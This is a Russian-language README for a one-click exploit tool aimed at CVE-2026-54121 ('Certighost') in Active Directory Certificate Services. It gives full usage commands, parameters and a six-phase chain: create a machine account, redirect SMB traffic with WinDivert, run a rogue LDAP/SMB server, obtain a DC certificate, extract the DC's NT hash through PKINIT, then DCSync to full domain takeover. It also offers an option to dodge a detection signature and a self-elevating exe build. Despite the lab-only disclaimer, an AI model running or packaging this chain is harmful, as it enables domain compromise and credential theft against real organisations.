
Однокликовый эксплойт для CVE-2026-54121 (Certighost), нацеленный на подмену идентичности сертификатов AD CS. Автоматизирует создание учётной записи машины, перенаправление трафика, поддельный ЦС, PKINIT и извлечение NT-хеша для компрометации домена.
CVE-2026-54121 (Certighost) инструмент эксплуатации в один клик — только для локальных лабораторных сред/авторизованного тестирования.
Нативная версия для Windows, переработанная на основе вышестоящего PoC (анализ @h0j3n / реализация @aniqfakhrul): встроенный редиректор WinDivert (pydivert), одна команда выполняет «создание учетной записи → редирект → прослушивание rogue → chase CA → сертификат учетной записи DC → PKINIT → NT-хэш учетной записи машины DC», без остановки службы Server, без изменения какой-либо конфигурации хоста, выход — полное восстановление.
| Патч | Описание |
|---|
--redirect | Встроенный редиректор WinDivert (445 → --lsa-port, узкая фильтрация: перехват только трафика IP слушателя), запуск/остановка вместе с процессом, автоматическое восстановление 445 при выходе. Замена официального PortBender (его официальный продукт — 32-битный рефлективный DLL для CS, не может работать автономно) |
--lsa-port | Параметризация порта прослушивания rogue LSA/SMB (по умолчанию 445; при --redirect по умолчанию 8445) |
Защита os.geteuid | Проверка root в вышестоящей версии падает на Windows → защита hasattr + подсказка о портах Windows |
| Параметризация проверки готовности | Вышестоящая версия с жестко заданным port_ok(127.0.0.1, 445) → args.lsa_port |
| Заголовок PEP 723 | uv run certighost.py ... запускается напрямую, зависимости разрешаются автоматически (включая impacket из git-master), нулевое загрязнение окружения |
--new-computer-name | Пользовательское имя создаваемой учетной записи (обход сигнатуры обнаружения GHOST*) |
--new-computer-pass | Пользовательский пароль создаваемой учетной записи (должен соответствовать политике паролей домена) |
Полифилл random.randbytes | impacket git-master использует API 3.9+ при импорте smbserver; требуется для версии 3.8, реализация через os.urandom |
| Завершение при выходе | После GGWP flush + os._exit() (полное устранение минутных зависаний из-за не-daemon потоков impacket) |
| Семантика кодов выхода | 0 — успех / 1 — ошибка |
Запись <dc>.hash.txt | NT-хэш учетной записи машины DC записывается в файл (только одна строка name:lm:nt) |
① Предварительная проверка (только чтение, подтверждение CA и предпосылок эксплуатации):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Вывод списка Enterprise CA, прав выдачи и регистрации шаблона Machine (требуется право Enroll для Domain Computers).
На машине CA дополнительно проверить флаг chase: certutil -getreg policy\EditFlags (должен быть
EDITF_ENABLECHASECLIENTDC; при установке по умолчанию на Server 2016 проверено — включен).
② Эксплуатация в один клик (Windows, администратор):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <IP, доступный с этой машины> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
Три файла результата (автоматически сохраняются в рабочую директорию):
| Файл | Содержимое |
|---|---|
<dc>.pfx | Сертификат учетной записи DC (материал для PKINIT) |
<dc>.ccache | Кэш билетов Kerberos |
<dc>.hash.txt | NT-хэш учетной записи машины DC (только строка name:lm:nt) |
③ Очистка (удаление созданной учетной записи):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| Параметр | Описание |
|---|---|
-d / -u / -p / -H | Домен / пользователь с низкими правами / пароль / NTLM-хэш |
--dc-ip | Адрес DC (обязательно) |
--listener IP | IP прослушивателя rogue (при нескольких сетевых картах обязательно указывать явно) |
--redirect | Ядро Windows: встроенный редирект WinDivert 445 (требуется администратор + pydivert) |
--lsa-port N | Порт rogue LSA (при --redirect по умолчанию 8445) |
--new-computer-name | Пользовательское имя создаваемой учетной записи (автоматически добавляется $) |
--new-computer-pass | Пользовательский пароль создаваемой учетной записи (взаимоисключающе с путём existing) |
--computer-name/--computer-pass/--computer-hash | Без MAQ: повторное использование уже контролируемой учетной записи машины |
--target-san DC01$ | Указание целевого объекта для подмены (по умолчанию автоматическое обнаружение DC) |
--template | Шаблон сертификата (по умолчанию Machine) |
--ca / --ca-ip | Ручное указание CA |
--debug | Полная трассировка этапов протокола |
Phase1 Пользователь с низкими правами создает учетную запись машины (автоматически по пути MAQ / пользовательская через --new-computer-* / повторное использование существующей через --computer-*)
Phase2 [Windows] Встроенный редиректор WinDivert: listener_ip:445 -> :lsa_port
Узкая фильтрация (только этот IP), переписанные пакеты вне фильтра = нет цикла повторной инъекции; дескриптор закрывается вместе с процессом
Phase3 Сервер rogue: LDAP:389 + LSA/SMB:lsa_port (ответ на chase cdc/rmd, передача данных идентичности DC)
Phase4 Запрос сертификата от имени машины (шаблон Machine), CA выполняет обратное подключение к rogue → выдача сертификата учетной записи DC
Phase5 PKINIT → KDC возвращает NT-хэш учетной записи машины DC в PAC → извлечение и запись в .hash.txt
Phase6 (Далее) secretsdump DCSync → krbtgt → полный захват домена; cleanup_ghost удаляет созданную учетную запись
Использование на Linux без изменений (root напрямую привязывает 445/389, без --redirect).
Извлечение хэша в цепочке атаки идет через PKINIT → PAC → NT-хэш, а не DCSync:
Использование secretsdump для DCSync после получения хэша — это второй шаг, а не источник хэша.
# PowerShell 7
./build_exe.ps1 # Стандартная сборка (Win10 / Server 2016+)
./build_exe.ps1 3.10 # Совместимая сборка (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # Устаревшая сборка (Win7 SP1 / Server 2008 R2 x64)
Результат dist\certighost_x64.exe: 19-27MB (зависит от сборки), --uac-admin само-повышение прав, ноль зависимостей,
скрипт автоматически выводит контрольную сумму SHA256.
Требуется официальный CPython 3.8.10 с python.org, установленный по следующему пути (последняя официальная сборка бинарников, поддерживающая ядро Win7, не зависит от новых API UCRT):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
Команда установки (тихая, без записи в PATH, без установки лаунчера):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
Также закрепить PyInstaller==5.13.2 (загрузчик 6.x не поддерживает ядро Win7) и cryptography==38.0.4 (Rust-колеса с версии 38.x начинают требовать Win10+), оба уже зафиксированы в скрипте.
| Сборка | Реальная система | Полная цепочка | Примечания |
|---|---|---|---|
| Стандартная | Win11 | ✅ | |
| Совместимая 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | Включая реальное оборудование с WinDivert |
| Устаревшая legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | Официальный 3.8.10 + PyInstaller 5.13.2 |
Обратите внимание: PyInstaller+impacket — зона повышенного внимания антивирусов, перед развертыванием оцените самостоятельно.
ciphertext integrity failure: наблюдалось один раз, повторная попытка устраняет проблемуcertighost.py Основной эксплойт (вышестоящая версия + патчи для нативной Windows + PEP 723)
certighost_redirect.py Собственный редиректор WinDivert 445 (pydivert; самопроверка --selftest/--e2e)
check_ca.py Предварительная проверка: CA/шаблон/права регистрации/флаг chase (только чтение)
cleanup_ghost.py Завершение: удаление созданной учетной записи
build_exe.ps1 Сборка однофайлового exe через PyInstaller (pwsh7, матрица из трех сборок, автоматический SHA256)